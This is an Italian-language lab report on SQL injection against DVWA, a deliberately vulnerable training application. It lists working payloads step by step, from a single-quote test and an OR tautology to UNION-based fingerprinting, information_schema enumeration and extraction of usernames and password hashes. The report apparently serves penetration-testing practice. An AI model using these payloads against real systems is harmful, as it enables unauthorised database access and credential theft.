DVWA – Report pratico SQL Injection

Pagina vulnerabile testata

DVWA → Vulnerabilities → SQL Injection
Parametro vulnerabile: campo ID

1. Test diagnostico della vulnerabilità

Payload usato:

1'

Risultato:

- Il comportamento dell'applicazione cambia / compare errore
- Questo indica che l'input non è filtrato correttamente

Conclusione:

Possibile vulnerabilità SQL Injection presente

———

2. Bypass della clausola WHERE (estrazione dati)

Payload:

1' OR '1'='1

Effetto:

- L'applicazione restituisce tutti gli utenti presenti nel database

Spiegazione tecnica:
La query diventa sempre vera perché:
'1'='1' è sempre vero

Impatto:

Un attaccante può leggere dati sensibili senza autorizzazione

———

3. UNION-based SQL Injection (controllo dell'output)

Payload:

1' UNION SELECT 'test','test'-- -

Risultato:

- La parola "test" compare nella pagina

Significato:

È possibile controllare direttamente l'output della query → vulnerabilità completamente sfruttabile

———

4. Fingerprinting del database (versione DBMS)

Payload:

1' UNION SELECT @@version, 'x'-- -

Risultato tipico:

10.5.x-MariaDB

Conclusione:

- DBMS identificato
- Versione individuata
- Informazione utile per futuri exploit mirati

---

5. Nome del database in uso

Payload:

1' UNION SELECT database(), 'x'-- -

Risultato:

dvwa

---

6. Utente del database

Payload:

1' UNION SELECT user(), 'x'-- -

Risultato tipico:

dvwa@localhost

---

7. Enumerazione delle tabelle

Uso del database di sistema information_schema.

Payload:

```
1' UNION SELECT table_name, 'x'
FROM information_schema.tables
WHERE table_schema = database()-- -
```

Risultati trovati:

- users
- guestbook
- ecc.

---

8. Enumerazione delle colonne della tabella users

Payload:

```
1' UNION SELECT column_name, 'x'
FROM information_schema.columns
WHERE table_name='users'-- -
```

Colonne individuate:

- user
- password
- first_name
- last_name

---

9. Estrazione dei dati reali

Payload:

```
1' UNION SELECT user, password FROM users-- -
```

Risultato:

- Visualizzazione degli username
- Visualizzazione degli hash delle password

Impatto:

Compromissione totale della confidenzialità dei dati

Impatto di sicurezza complessivo

La vulnerabilità SQL Injection presente consente:

- Lettura completa del database
- Accesso a credenziali utente
- Bypass dei controlli di accesso
- Possibile compromissione completa dell’applicazione